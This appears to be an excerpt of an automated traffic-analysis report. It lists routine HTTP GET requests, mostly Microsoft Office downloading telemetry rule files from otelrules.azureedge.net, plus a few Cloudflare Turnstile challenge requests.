Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cf06f880e728cca/1728330790902/q8sSPEQJANb37H3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cf06f880e728cca/1728330790902/q8sSPEQJANb37H3 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/43059607:1728329420:dJcmetAgVMGocae_3f1dALRtljbtG0HRRs5hSvYZXJY/8cf06f880e728cca/3da04d461641d1a HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
